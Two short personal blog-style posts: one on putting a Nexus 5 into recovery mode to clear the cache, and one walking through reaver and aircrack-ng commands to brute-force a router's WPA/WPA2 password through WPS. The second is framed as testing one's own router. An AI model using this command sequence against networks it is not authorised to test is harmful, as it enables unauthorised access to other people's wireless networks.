Nexus 5 Recovery

i checked how to clear the cache partition, and you need to go to recovery mode
it seems the way of pressing volume up for 5 seconds is not working for nexus 5
so here how to do it

1. Power off the device.

2. Hold both volume buttons and the power button. When you feel the vibrate, release.
3. You will see the Android logo laying on his back with his chest panel open, along with the device info and options.
4. Use the Volume rockers to navigate to Recovery Mode
5. Once there, you will see No Command. Press and hold Power and click volume up like you want your music to go up one increment.
this is where most posts say press volume up for 5 seconds and it is not working
6. You will then be shifted to the Recovery screen.
it will take long time, so dont worry and be sure you have enough battery life
7. Use the volume Rockers to navigate to what you would like to do, and power accepts the selection. Use the rockers to go to 'Clear Cache Partition'.
8. To reboot, click reboot system now

Using reaver to crack WPA/WPA2

i wanted to test my Wireless Router against cracking WPA/WPA2
i found this tool reaver to brute force WPA/WPA2 using wifi Protected Setud (WPS)
the source of the code you can get it from here:
http://code.google.com/p/reaver-wps/

1- download the latest version (for me it was Reaver v1.4)
2- untar and cd to the created folder
3- install the script

./configure

make

sudo make install

if you got problem related to missing libpcap do the following

 sudo apt-get install libsqlite3-dev

4- install aircrack

sudo apt-get install aircrack-ng

5- find your wireless card (in my case it's wlan0)

iwconfig

6- put the wireless interface in monitoring mode

airmon-ng start wlan0

the output will give you the monitor interface name (in my case mon0)

7- Find the BSSID of the router to test

airodump-ng mon0

8- start the test

reaver -i mon0 -b -vv

now you need to wait for some hours until you got the password

you should run this test only on your router and don't try to use it illegally
